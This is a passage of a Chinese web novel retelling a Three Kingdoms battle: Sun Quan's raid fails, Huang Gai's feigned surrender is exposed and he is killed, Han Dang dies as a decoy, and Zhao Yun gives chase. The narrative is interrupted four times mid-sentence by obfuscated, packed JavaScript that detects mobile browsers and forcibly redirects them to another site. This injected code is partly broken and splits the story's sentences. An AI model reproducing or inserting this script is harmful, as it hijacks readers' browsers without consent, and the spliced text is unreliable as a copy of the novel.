黄盖推开帐门,望着沉郁的夜空低声道:“去守着,看到三支火箭便来报我。” “诺!”黄明按刀离去。 这是孙权与黄盖事先约定的信号。 一旦孙权大军抵达预定位置,便会向空中射出三支火箭,示意黄盖同时在营内起事,里应外合。 望着侄儿的背影消失在帐外,黄盖低声自语:“成大事者...不拘小节。” 黄盖深知,今夜在敌营中起事,凶险万分。 那百余名知情的老部下,连同那些会被裹挟的部曲,恐怕都要凶多吉少,但为了江东大业,这些牺牲在他看来都是必要的代价。 与此同时,载着万余江东精锐的船队,经过漫长的迂回,终于悄然抵达了预定的登陆点——江津渡。 漆黑的夜色与宽阔江面提供的距离,完美地隐藏了船队的行踪。 整支人马从迂回到登陆,竟未遇到任何阻拦,顺利得让孙权都有些恍惚——这一切顺利得近乎不真实,仿佛胜利已然触手可及。 孙权第一个踏上岸边的滩涂,泥土的湿软触感让孙权心中大定。 “天助我也!” 孙权压抑着激动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708416|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,低声对身边的韩当、潘璋道,“刘琦果然毫无防备!快,全军速速登岸,按计划向荆州左营侧翼林木处集结!” 万余江东精锐迅速登陆,无声无息地潜入滩涂后的密林中。 在林木奔驰良久,孙权终于能清晰地看到不远处的荆州左营轮廓——灯火稀疏,巡哨松懈,与中军方向的戒备森严形成鲜明对比。 “公覆……就看你的了!” 孙权深吸一口气,从亲卫手中接过强弓,将三支特制的、裹了油布的箭矢搭上弦。 嗤的一声,火折子点亮,点燃了箭簇。 孙权开弓如满月,对准夜空。 “嗖——嗖——嗖——” 三支带着橘红色尾焰的火箭,呈一个品字形,尖锐地撕裂了夜幕,在荆州左营的上空耀眼地绽放! 这是他与黄盖约定的,里应外合、同时发动总攻的信号! “全军听令!”孙权扔掉长弓,“铮”地拔出古锭刀,刀锋直指那片看似毫无防备的营寨,用尽全身力气发出怒吼: “随我——踏平敌营!杀!!” “杀!!!” 震天的呐喊声瞬间爆发,隐藏在林中的万余江东精锐如同决堤的洪流,向着近在咫尺的荆州左营发起了凶猛的冲锋! 当三支火箭带着刺目的光芒撕裂夜幕时,黄盖正按刀立于帐前。 “来了!” 黄盖布满老茧的手猛地攥紧刀柄,眼中闪过一丝锐利的光芒。 “叔父!” 黄明快步从暗处走出,声音因激动而微微发颤,“信号来了!要不要现在就.....” “不急。” 黄盖抬手制止,目光扫过尚显平静的营地,“再等等,此刻营中未乱,还不是动手的时机。” 即便是此刻,黄盖也没忘记教导侄子黄明,“做内应讲究火中取栗,此刻贸然起事,只会让部曲陷入孤立无援的境地,唯有等到寨外攻势展开,营中自乱阵脚之时,才是最好的时机。” “叔父教导的是,侄儿明白了。”黄明深吸一口气,将心中焦躁压了下去。 而就在黄盖叔侄焦急等待不到一刻钟后。 嘀——嘀嘀—— 尖锐刺耳的竹哨声突然响起,紧接着各处望楼警锣大作! “敌袭!” “敌袭!” 哨兵声嘶力竭的呼喊与急促的警笛声交织在一起,整个左营顿时骚动起来。 营内的安陆世家兵和新募士卒惊慌失措地从营帐中涌出,像无头苍蝇般四处奔逃。 “就是现在!” 黄盖眼中精光暴涨,猛地拔出佩刀,“动手!” “随我来!” 而随着黄盖一声动手,早已按捺不住的黄明立即率领百余心腹从暗处冲出。 这些人都是跟随他征战多年的心腹,此刻虽知是九死一生,却无一人犹豫。 黄明冲出去当先一刀就将一个见到他们荆州巡营士卒砍翻在地,鲜血溅在营帐上,在火光映照下格外刺眼。 “放火!迎接吴侯!” 黄盖见状,立即下令。 数十支火把同时掷出,瞬间点燃了附近的营帐,火势迅速蔓延。 黄盖并未选择非强攻寨门迎接孙权,而是选择放火制造混乱,即使想尽量保全自己,也是也是为了给正在进攻的孙权大军指明方位和制造里应外合的声势。 熊熊烈火不仅能扰乱守军,更是向寨外传递着一个信号——内应已经得手。 第76章 杀入敌营!竟是死局? “杀!!!” 怒吼声在孙权胸腔中轰鸣而出,孙权身先士卒,古锭刀在夜色中划出一道寒芒,直指前方那片火光开始蔓延的荆州左营。 万余江东精锐如同决堤的洪流,跟随着他们年轻的主公,涌向树林,冲向近在咫尺的荆州营寨。 最初的冲击顺利得超乎想象。 除了那刺耳的“嘀——嘀嘀——”哨声和营中隐约可见的慌乱身影外。 冲在前头的江东士卒,几乎没遇见像样的抵抗,便冲到了营寨大门前,几乎没遇到像样的抵抗,荆州军似乎被这突如其来的内外夹击彻底打懵了。 营寨前的鹿角、栅栏迅速**东士卒突破,那些少量仓促迎战的安陆世家兵和新招募而来的士卒,几乎一触即溃。 “主公!黄老将军得手了!” 而此时,孙权等将领也冲到营门前,这时恰好黄盖所部,在营内制造的混乱,和火光映入孙权等将领的眼帘。 韩当在孙权身侧吼道,声音中带着几分狂喜,指向营中那越来越旺的火光。 而随着荆州营寨大门被士卒撞开,营门洞开,内里火光冲天,喊杀阵阵,正是黄盖在营内接应的明证。 孙权见状,精神大振,连日来的隐忍与谋划终于见到成效,胸中块垒为之一松。 眼前这内外呼应之势,正是他与周瑜推演过无数遍的理想局面! 对孙权而言,这冲天火光不仅是黄盖得手的信号,更是他摆脱兄长光环、证明自己能力的开端。 亲眼见证计策顺利实施,让孙权坚信今夜必能一雪前耻,在江东军中树立威信。 此刻的孙权只感觉胸中豪气翻涌,多日筹谋在此一刻,成败在此一举! 孙权猛地挥刀向前,刀锋染血,声音因激动而带着一丝沙哑的亢奋:“不要停!向前压!与公覆会合,直取刘琦中军!” 万余江东精锐如潮水般涌过寨门,无数脚步,踏碎营栅,刀枪碰撞声、喊杀声、垂死哀嚎声交织成一片。 火光映照下,可以看到营内荆州士卒惊慌失措的脸,他们**的连连败退,根本无法组织起有效的防线。 半刻之间,荆州左营便**东士卒占据。 孙权一马当先,猩红披风在烈焰映照下猎猎作响。 局势一片大好,孙权仿佛已经看到黄盖率部从营内杀出,看到刘琦在中军大帐中惊慌失措的模样,看到江夏易主的捷报传遍江东。 然而,随着江东士卒深入营寨,抵抗开始变得有些异样。 一些荆州军士卒在稍作接触后,便有组织地向后溃退,看似慌乱,退却的路线却并不完全混乱。 更令孙权隐隐不安的是,那看似冲天而起的混乱火光,主要集中在外围区域,而营寨更深处的核心地带,虽然也有骚动,却远未达到彻底崩溃的程度。 “主公,这有些不对劲……” 潘璋将一个试图阻拦的荆州什长连人带枪劈开后,凑到孙权身边,语气带着警惕,“抵抗太弱了,像是……像是故意放我们进来!” 其实不用潘璋提醒,孙权早已察觉到了这诡异的顺利——那些看似慌乱的退却,那些恰到好处的抵抗,都透着一股不自然的味道。 但此刻万余将士已深陷敌营,在这漆黑的夜色中,莫说下令撤退命令了,就是简单地指挥大军进攻何处都有些困难,此刻若是下令撤军,很有可能就是撤着撤着就演变成全军溃乱。 当然这也不是让孙权不愿意撤退的主要念头,是孙权内心深处那份不甘——他太需要这场胜利了! 太需要像刘琦那样,用一场酣畅淋漓的大胜来证明自己,来彻底坐稳这江东之主的位置! “住口!” 是以,孙权厉声打断潘璋,古锭刀猛地指向中军大帐方向,“事已至此,岂能因些许疑虑就动摇军心?传令全军,继续突击,直取中军!” 孙权强压下心头的不安,继续向前,此刻孙权只能相信,这一切异样都是自己多虑了,黄盖定会在前方接应,胜利依然可期! 然而就在孙权率军冲过一片燃烧的粮车时,前方突然响起震天的战鼓。 只见原本溃散的荆州军如同潮水般向两侧退去,露出一片相对空旷的地带。 而在四周火光的照耀下,孙权只见那片空地之后,一支军容严整、甲胄鲜明的军队,如同磐石般静静地列阵等候。 阵前,一员老将横刀立马,白须在火光中飘拂,正是黄忠! “江东碧眼儿!老夫黄汉升在此等候多时了!” 而当孙权看清拦路老将是黄忠,而非预料中前来接应的黄盖时,心中顿时一滞,愣在原地。 “黄、黄汉升......” 黄忠的出现如同重锤,狠狠砸在孙权的心头。 方才所有的侥幸与期盼,在这一刻尽数化为泡影! 孙权可以愣在原地,但潘璋却不能,虽然也是有些惊恐出现的竟然是黄忠,但潘璋却没有忘记自己的职责。 在黄忠出现几乎同时,知道大事不妙的潘璋嘶吼声在身侧炸响:“结圆阵!保护主公!” 四周皆是孙权或者是潘璋等将校的亲卫以及核心部曲,训练有素,此刻在听见潘璋的将令后立即收缩阵型,盾牌手迅速在前方组成防线。 然而就在这片刻间,四周火光大作。 喊杀声陡然一变原先那些惊慌失措的如溃兵般的荆州士卒竟如潮水般退去,取而代之的是甲胄鲜明的精锐之师! 潘璋倒吸一口凉气:“主公,他们换人了!这些都是...都是荆州锐士!” 只见新出现的荆州军步伐整齐,刀枪如林,森严的杀气扑面而来。 前排的重甲步兵手持巨盾,后方**手引弦待发,两侧更有**如林,这就是刘琦麾下最为精锐的襄阳营锐士! 刘琦接到战报说孙权(江东)已尽数入营(入网)的消息后,便亲自率领中军主力赶来。 这时,荆州军阵中射出一片飞蝗般的箭雨,瞬息间箭矢如暴雨般倾泻江东士卒上空,许多江东士卒还没从这场局势变幻中回过神来,就要被这突然而来的箭雨洗头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711844|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“举盾——快举盾!”江东将校们的嘶吼很快便被淹没在箭矢入肉的闷响和士卒的惨叫声中。 方才还气势如虹的江东军,此刻如同被收割的麦子般成片倒下。 此刻的江东士卒与先前形成了鲜明对比。 当初他们面对由世家兵和新兵组成荆州军时有多轻松,此刻面对养精蓄锐已久的襄阳锐士就有多狼狈。 这些荆州最精锐的部队不仅装备精良,更是以逸待劳,箭矢的密集度和精准度都不可同日而语。 紧接着,襄阳锐士便随着鼓号声开始稳步推进。 襄阳锐士踏着整齐的步伐,重盾如山,**如林,每一步都带着令人窒息的压迫感。 方才还能勉强维持的江东阵线,在这股钢铁洪流的挤压下开始变形、溃散。 “顶住!给老子顶住!” 一个江东军候刚喊完,转眼就被数支**同时刺穿。 江东军候瞪大眼睛,似乎无法理解——明明片刻前还是任他们宰割的敌人,怎么转眼间就变成了索命的修罗? 箭雨还在不停倾泻,前排的襄阳锐士手持巨盾已经如同移动的城墙般碾压过来。 江东士卒的刀砍在对方的重甲上只能迸出火星,而对方的**却总能从盾牌缝隙间精准地刺入咽喉。 压力骤增的江东军阵中开始出现恐慌,原本严密的圆阵被撕开数个缺口,每一个缺口都在迅速扩大,吞噬着更多士卒的生命。 而此时军阵中的孙权却喃喃自语着。 “这...这不可能!!!” 在孙权看来,周瑜与黄盖设下的苦肉计堪称完美。 黄盖身为三朝老将,对周瑜这样的年轻人凭借关系被提拔成中护军,心生不满是合情合理。 在江东局势不利时选择投降更是人之常情,这等天衣无缝的计策,怎会被识破? 突然,孙权像是抓住救命稻草般,朝黄忠嘶声喊道:“黄盖何在?!让他出来见我!” “定是他...定是他真降了刘琦!若不然....若不然他的计谋怎么会被识破!” 此刻,孙权宁愿相信是黄盖背信弃义诈降变真降,也不愿意相信自己与周瑜的妙计被对手洞悉。 远处的黄忠闻言,那张饱经风霜的脸上竟掠过一丝复杂的神色。 黄忠想起当初黄盖在宴席上谄媚刘琦的模样,自己还曾暗自鄙夷这等背主之人。 随后可当得知真相,得知这位黄盖竟是诈降,忍辱负重、甘愿赴死做内应后,黄忠心中却升起几分敬佩之色,而孙权此刻的质疑,更让黄忠为黄盖感到不值。 “碧眼小儿!” 黄忠的声音带着压抑的怒意,“且看此物!” 说着,黄忠从亲兵手中接过一个木匣,用力掷向孙权。 木匣摔着孙权跟前地上碎裂,一颗须发花白的首级滚落出来,那双曾经锐利的眼睛至死未瞑。 时间回到半个时辰前,就在黄明率着百余部曲四处纵火,火势蔓延之际,黄盖原本的千余部曲也**在营区边缘,个个面露惊疑。 第77章诈降计破!黄盖授首! 时间回到半个时辰前,就在黄明率着百余部曲四处纵火,火势蔓延之际,黄盖原本的千余部曲也**在营区边缘,个个面露惊疑。 他们看着突然宣布自己是诈降,现在要求他们一同策应孙权的黄盖,又望望寨外隐约可见的火光,一时间不知所措。 “儿郎们!” 黄盖跃上高处,对着那些犹豫不决的部曲高声呼喊,“吴侯亲率大军已到寨外!此时不跟随某,更待何时?” “随某夺取头功,赏千金,封校尉!待攻破敌营,财帛女子任尔等取之!” 黄盖之所以要极力煽动这些部曲,一方面是不想诈降成功后自己沦为光杆司令,另一方面更是为了执行周瑜交代的另一项重要任务——焚毁那些威胁夏口的**砲。 而要完成这个任务,单靠之前的百余名部曲是远远不够的。 而在黄盖重赏的诱惑和眼前混乱的刺激下,部分部曲开始动摇。 有人握紧兵器,有人向黄盖靠拢,营中叛乱的火苗正在迅速蔓延。 就在这关键时刻—— “黄公覆!” 一声雷霆般的怒喝突然压过了所有喧嚣。 只见老将黄忠不知何时已立于营中高台,身后旌旗招展,数千精锐士卒**手齐刷刷现身,将叛乱区域团团围住。 黄盖猛地抬头,正对上黄忠那双锐利如鹰的眼眸。 这位刚才还在高声煽动的黄盖,此刻脸色骤变,握着佩刀的手不自觉地收紧。 “黄...黄汉升?!” 黄忠居高临下,声音戏谑道:“尔等真以为,这等诈降之计能瞒过我家主公?” 不待黄盖回应,黄忠目光扫过那些惊慌失措的部曲,声若洪钟: “众将士听真!主公有令,只诛恶首黄盖一人!尔等放下兵器,跪地受缚者,皆可免死!” 黄忠此言一出,那些原本还在动摇的部曲顿时如蒙大赦。 “我等愿降!” “都是黄盖逼迫的!” 兵刃坠地之声不绝于耳,方才还蠢蠢欲动的千余部曲纷纷跪地请降。 黄盖眼睁睁看着自己苦心经营的阵势顷刻瓦解,那张饱经风霜的脸上第一次露出绝望。 黄盖环视四周,只见自己与百余部曲已被重重包围。 黄盖忽然仰天大笑,笑声中带着几分凄怆: “好!好一个刘琦!不想老夫纵横沙场三十年,今日竟栽在孺子手中!” 说着,黄盖猛地举起佩刀,对身边部曲喝道:“既已至此,唯死战耳!” 但黄忠却缓缓摇头,目光扫过那些惊慌失措的部曲:“黄公覆,你忍辱负重,确是忠义之士。” “可惜...放箭!” 黄忠话音落下,四周弓弦齐响,箭雨倾泻而下。 黄盖挥舞佩刀格挡,却见自己的部曲纷纷中箭倒地。 直到这一刻,黄盖才真正明白——从诈降开始,自己就一直在别人的算计之中。 “碧眼小儿,可看清楚了?” “有你这样的主公,真为黄公覆不值!” 孙权怔怔地看着黄盖的首级,那苍老的面容上还带着临死前的决绝,对黄忠的冷言嘲讽状若未闻。 这时一支流箭嗖地擦过孙权的肩甲,但孙权浑然未觉,整个人如遭雷击般晃了晃,手中古锭刀哐当一声掉落在地。 “公覆...公覆...” “是权...是权害了你啊!” 孙权嘴唇颤抖,想要说些什么,却发现自己连完整的话都说不出来。 这一刻,孙权所有的骄傲、所有的野心,都在残酷的现实面前轰然崩塌。 这时孙权猛地抬手狠狠抽了自己一记耳光,力道之大让嘴角瞬间渗出血丝。 这一刻的孙权的内心被巨大的懊悔悔恨情绪吞噬。 孙权恨自己为何要盲目效仿刘琦云梦泽奇袭的险招,如今非但没能复制刘琦的成功,反而将江东精锐带入绝境。 恨自己为何不听吕范劝谏退守江东,若是当初采纳吕范之策,即便暂时放弃江夏,他依然是坐拥江东的吴侯,何至于将数万将士带入这绝境? 更恨自己刚才竟还怀疑黄盖的忠诚。 “若是...若是听了子衡之言...” 孙权喃喃自语,声音带着哭腔,“何至于此...何至于此啊!” 孙权想起吕范当初苦劝他暂避锋芒时的恳切,想起自己执意要效仿刘琦奇袭时的自负。 如今想来,那不过是被嫉妒与野心蒙蔽了双眼——孙权太想证明自己不比刘琦差,太想用一场辉煌的胜利来巩固权位。 扑通一声,孙权双膝跪地,竟在阵前失态至此。 泪水混着血水从他脸上滑落,他死死攥着泥土,指节因用力而发白。 对孙权而言,这一败不仅意味着万余精锐的覆灭,更将导致周瑜在夏口独木难支,整个江夏战局都将彻底崩溃。 孙权仿佛已经看到江东基业在自己手中崩塌的景象,看到那些原本就对他继位不满的老臣们质疑的目光。 这种恐惧,远比死亡更让孙权绝望。 见孙权竟在阵前跪地痛哭,韩当眼中闪过浓重的失望。 韩当想起昔年随孙策征战,那位小霸王即便身陷绝境也从未丧失斗志,总是能爆发出惊人的战意带领将士们杀出重围。 而潘璋更是难以置信地看着自己效忠的主公——这位他第一个投效的年轻君主,此刻竟如此失态。 就在这时,营寨侧后方的山林间突然火把大举,杀声震天! “报——!” 一名浑身是血的斥候连滚带爬地冲到近前,声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713640|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为极度惊恐而变调:“身后...身后出现荆州军!” 韩当猛地转头,只见后方密林中杀声震天,王朗率领的伏兵如潮水般涌出,准备切断了他们的退路。 这位身经百战的老将瞬间须发皆张,狠狠揪住孙权的衣襟:“主公!”韩当的声音如同炸雷,“看看您现在的样子!可还是破虏(孙坚)之子?” “当年讨逆(孙策)将军在牛渚被围,身中三箭犹自挥枪死战,这才带着弟兄们杀出一条血路!您是他的弟弟啊!” 韩当这话的意思就是同为孙坚之子,为何就相差这么大? 孙权自然是听出韩当之意。 同为孙坚之子,兄长孙策能在绝境中爆发出惊天斗志,他孙权岂能在此刻认输? 当下,孙权迅速抹干脸上泪痕。 而潘璋此时也扑跪在地,语带哽咽:“主公!万余将士尚在苦战,江东六郡仍在,主公岂能因一时挫败便丧了心气!只要退回江东,他日必能卷土重来!” “二位将军说得是,是权失态了。” 孙权说着,那双碧眼中虽然还带着血丝,却已重新燃起火焰。 孙权弯腰拾起方才掉落的古锭刀,指节因用力而发白,但声音已然恢复沉稳: “权...险些辜负了将士们。” 而就在这片刻间,战局急转直下。 前方的襄阳锐士趁势猛攻,后方王朗的伏兵不断压缩包围。 江东军阵型大乱,士卒们惊慌四窜,自相践踏者不计其数。 韩当环视这已经有溃败的景象,重重地叹了口气,“败局已定啊!” 突然韩当将佩刀重重插在地上:“主公,末将年事已高,来日无多,今日愿效(祖茂)大荣旧事!今日便在此断后,为主公尽最后一份力!“ 祖茂字大荣,东汉末年孙坚亲近将领。 初平元年(190年),孙坚讨伐董卓时在梁东被徐荣击败,祖茂佩戴孙坚的红罽帻引开董卓追兵,才助孙坚脱险。 说完,韩当不等孙权回应,一把扯下孙权肩头猩红的披风,对身边亲卫怒吼:“江东儿郎!可愿随某死战呼?” “愿随将军!”数百亲卫齐声应和,迅速结成一道血肉防线。 就在这时,潘璋猛地抓住孙权手臂: “主公,得罪了!” “放开!”孙权厉声喝止,挣扎间手中古锭刀险些掉落,“我岂能弃将士于不顾!” “正因万千将士尚在苦战,主公更该活着!” 潘璋毫不退让,一边示意亲兵上前,一边急声道,“韩将军以命相搏,不就是为了给主公争得生机?若主公执意赴死,岂不辜负了将士们的牺牲!” 眼见局势也越来越危急,潘璋再不顾礼数,与两名亲兵强行架起孙权就往营外撤去。 第78章 孙权驾驴车亡命狂奔! 就在潘璋与两名亲兵强行架起孙权就往营外撤去时。 荆州军阵中,刘琦站在望台之上,正凝神观察着战局变化。 刘琦时而抬手示意令旗变换,时而对身旁的诸葛亮低语几句。 襄阳锐士在刘琦的调度下,如臂使指般不断压缩着江东军的活动空间。 “让左翼枪阵向前推进二十步。”刘琦对传令兵吩咐道。 但刘琦的目光却紧锁在江东军阵中那片孙权韩当等人的位置。 借着四周摇曳的火光,刘琦隐约看见几个将领模样的身影正在激烈争执,其中一人似乎被其他将领强行架着后退。 刘琦微微蹙眉,“那处为何如此骚动?倒像是...在护卫什么重要人物撤退。” 身旁的诸葛亮轻摇羽扇,忽然开口道:“能在乱军中让江东将校架着走的,莫非是孙权?观此阵势,当是在护卫主帅后撤。” 刘琦闻言失笑:“孙权?他怎会亲临一线?” 刘琦想起孙权雅号孙十万,嘴角不由泛起一丝玩味。 以这位吴主日后在逍遥津的表现,用兵向来求稳,怎会行此奇险之策? 不过,刘琦很快就摆了摆手,语气轻松:“如今胜局已定,任他是谁也无妨。” 诸葛亮含笑点头:“主公妙算。观敌军阵型已乱,败象已显。” 正如二人所言,战场上的江东军在王朗部与襄阳锐士的前后夹击下,已然呈现溃败之势。 就在这时,黄忠大步登上望台,甲胄上还沾着血迹抱拳禀报: “主公,已确认敌军主帅正是孙权本人!方才阵前对话,那碧眼小儿亲口承认身份。” 闻言,刘琦执令旗的手微微一顿,随即转身看向诸葛亮,眼中闪过惊喜: “真让孔明你说中了!” 诸葛亮羽扇轻摇,含笑回应:“亮亦未曾料到,这位吴主竟如此...胆大” 饶是诸葛亮算无遗策,也没想到孙权会效仿主公昔日横渡云梦泽出奇制胜的战术。 这般以身犯险,如今却是画虎类犬了。 “好个碧眼儿...” 刘琦轻笑着将令旗掷回案上,这一刻,刘琦仿佛已经看到生擒孙权后,江东群龙无首的混乱局面。 这位日后在逍遥津被戏称为孙十万的吴主,此刻竟亲自送上门来。 此刻若能生擒孙权,以他为质,江东六郡不说传檄可定,至少庐江、豫章、庐陵三郡可轻易夺取。 念此,刘琦再也难掩内心激荡,声调不自觉地提高,振奋道:“传令三军——生擒孙权者,官升三级,赏千金!” 刘琦这道军令如同在滚油中泼入冷水,瞬间在整个战场上炸开。 “主公有令——生擒孙权者,官升三级,赏千金!” 传令兵纵马在荆州军阵中来回奔驰,高喊着擒孙权之令传阅全军。 而原本正在稳步推进的荆州军阵中,顿时爆发出山呼海啸般的呐喊。 无数荆州士卒眼中迸发出骇人的红光,喘着粗气像饿狼嗅到血腥味般死死盯住乱军中的身系着鲜红披风的身影。。 一个满脸是血的什长嘶吼道:“都听清楚了?要活的!” 而更远处传来其他军官的呼应:“莫要让旁人抢了头功!杀!!” 在这片突然沸腾的战场上,孙权仿佛成了所有荆州将士眼中最珍贵的猎物。 当生擒孙权者赏千金的呐喊响彻战场时,正在被亲卫架着后撤的孙权浑身一颤。 原本绵软的双腿突然生出力气,竟自己跟着跑了起来。 而此时,孙权一行人也恰好退至一处堆放辎重物资的角落。 潘璋见状,立马挥刀砍断旁边一辆驴车的套索,一把将车上堆放的粮袋等杂物扫落在地,随即牵过缰绳,将孙权扶上驴车:“事急矣!请主公驾车速走!” 而孙权此刻也顾不得许多了,立马就跃上驴车接过缰绳,在潘璋和亲兵的掩护下,仓皇向着营外冲去。 而当生擒孙权的呐喊山呼海啸般传来时,正挥舞古锭刀、竭力维持阵线的韩当心中猛地一沉,一股难以言喻的苦涩涌上心头。 韩当下意识地紧了紧身上那件过于醒目的鲜红披风,又看了看手中这柄代表孙氏权威的古锭刀。 此情此景,何其熟悉——当年大荣(祖茂),正是如此自愿戴上讨虏将军(孙坚)的赤罽头帻,引开追兵,慨然赴死! “大荣……” 韩当虎目泛红,望着身边仅存的千余核心部曲,这些追随他出生入死的儿郎,“今日,便让韩当效仿你当日壮举!” 说完,韩当高举古锭刀,鲜红披风在火光中猎猎作响,示意亲卫朝溃散的江东士卒高喊,“吴侯在此!众将士勿慌,速速靠拢!” 在亲卫一声声高呼下果然见效。 只见,不仅溃散的江东士卒在听到呼喊后纷纷向这靠拢,同时也让远处的荆州军确信了“孙权”就在此处。 韩当率领部曲且战且退,那袭红披风在乱军中格外醒目,成为战场上最耀眼的靶子。 “孙权在那里!” “系着红披风的!就是孙权!” “孙权在那里!别让他跑了!” 混杂在乱军之中的荆州军基层将校和悍卒们,眼见那醒目的红色和象征身份的宝刀,如同见了血的鲨鱼,纷纷嘶吼着扑来。 原本就混乱不堪的战场,因韩当的高喊,瞬间变得更加错综复杂。 溃散的江东败兵、正在接战厮杀的荆州锐士、以及那些眼中只有“孙权”(韩当)这移动千金赏赐的追兵,彻底搅作一团。 你中有我,我中有你,战线已不复存在,只剩下血腥的混战。 韩当周围的千余部曲拼死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而韩当浴血奋战,凭借着一股决死的悍勇与对地形的熟悉,竟真的带着剩余不足五百人的亲卫,从混乱的荆州大营西南角杀出了一条血路,冲出荆州左营营寨。 韩当率领残部奋力冲垮最后一道栅栏,刚刚踏出荆州左营的边界,还未来得及喘息,侧翼骤然响起雷鸣般的马蹄声! 一队精锐骑兵自暗处猛然杀出,如一道银色的闪电撕裂夜幕,直扑而来! 为首者白马银鞍,身披亮银锁子甲,手中龙胆亮银枪在火光下泛着冷冽寒光,正是常山赵子龙! 只见,赵云策马疾驰间枪尖直指韩当所在,声如惊雷炸响:“孙权休走!!!” 第79章 赵云:孙权休走!吃我一枪! “孙权休走!!!” 一声雷霆般的暴喝震得韩当耳膜发麻。 韩当猛地转头,只见夜色中一骑白马疾驰而出,马蹄踏碎泥土,马背上那员汉将身形魁梧,几乎将整个马背都笼罩住,而身后的数百骑也随同向韩当发起冲锋。 而那敌将还未到近前,一股凝如实质的杀气已经扑面而来,压得韩当几乎喘不过气。 韩当见状,心中顿时一片冰凉。 若是步卒追击,尚可借山林周旋,或可还能逃脱,可眼前这数百精锐骑兵,分明是早已埋伏在此,专候着他们,想来今日恐怕难以善了! “结阵!迎敌!”韩当嘶声怒吼,残存的亲卫们堪堪组成圆阵。 然而赵云马快枪急,二百步距离转瞬即至! 但只见赵云快如闪电,龙胆枪化作点点寒星,所过之处,韩当的亲卫如同割草般纷纷倒地,竟无一人能挡赵云一合! 瞬息之间,赵云已冲破层层阻拦,杀到韩当面前! “吾乃常山赵子龙也!特来取你性命!” 喝声未落,**已如**出洞,借着奔马之势,直刺韩当心口! 赵云这一枪快如闪电,势若奔雷! 韩当仓促间只得凭感觉挥刀格挡,古锭刀奋力向上撩起。 然而赵云人马合一,这一枪凝聚了全身劲力。 “当”的一声巨响 韩当只觉一股排山倒海的力量从刀身传来,虎口迸裂,整条右臂瞬间麻木! 古锭刀脱手飞出,在空中划出一道弧线。 韩当还未来得及做出第二个反应,那冰冷的枪尖已穿透胸甲,透背而出! 韩当难以置信地低头看着没入胸膛的**,又抬头望向赵云那双冷静淡然眼眸,最终颓然倒地。 “孙权已死!尔等还不速降!”赵云抽出**,朝着仍在顽抗的敌军厉声喝道。 然而,那些残存的亲卫非但没有溃散,反而个个目眦欲裂,嘶声哭喊:“韩将军——!” “为韩将军报仇!” 不少残存的亲卫高喊着举起兵刃向赵云冲来。 这声声悲鸣让赵云神色一凛。 韩将军?不是孙权? 赵云心头一沉,几枪将几名向自己冲来的士卒捅死后,立刻策马逼近一个重伤倒地的敌军校尉,龙胆枪尖指向对方咽喉:“你说韩将军?可是韩当?” 那校尉吐着血沫,惨笑道:“正是韩公……你这常山赵云,竟连韩公人都认不清……” 闻言,赵云握枪的手微微一紧,素来沉静的脸上掠过一丝懊恼。 赵云奉刘琦的命令在此埋伏多时,就是要在这最关键的时刻截杀孙权,却没想到竟错杀了替身! “孙权何在?”赵云厉声追问。 此刻赵云心中念头急转——既然错杀了韩当,现在必须立刻问出孙权真正去向,或许还能弥补完成主公的命令! “哈哈哈,主公早已逃脱,你休想……”那校尉强撑着一口气,脸上刚挤出嘲讽的笑容,就见赵云手中龙胆枪如银蛇吐信,瞬间洞穿了他的咽喉。 赵云手腕一抖,甩落枪尖血珠,看也不看倒下的尸首,转身便将**抵住另一名受伤亲兵的胸口。 “说,孙权往哪个方向去了?” 此刻的赵云,不想要听任何废话,只想要孙权确切的逃走方向。 那亲兵被染血的枪尖抵住胸口,吓得浑身哆嗦,牙齿都在打颤:“往、往北……小的只看见往西边去了……具体去哪,小的真不知道啊……” 赵云目光看向西边,那里是江东大军登岸的地方--江津渡! 而此时江东大军登岸的江津渡方向已经火光冲天,显然宋谦已经得手,江东战船尽数焚毁。 赵云心念电转:若我是孙权,此刻绝不可能回江津渡。 那里不仅有荆州伏军,还有这冲天的火光无不是说明,自己那载着万余士卒而来的船只已经被化作一片火海了,此刻若还去无异于自寻死路。 “南边!”赵云突然醒悟。 江津渡在西,此时孙权若反其道而行之,直接向南突围,反倒能避开荆州军的围剿。 而只要抵达江边,随时可寻得小舟渡江逃出生天! “随我来!” 念此,赵云当即调转马头,率领骑兵向南往江边疾驰而去。 就在赵云判断出孙权可能南逃,率精锐骑兵风驰电掣般向南追击的同时…… “快!再快些!” 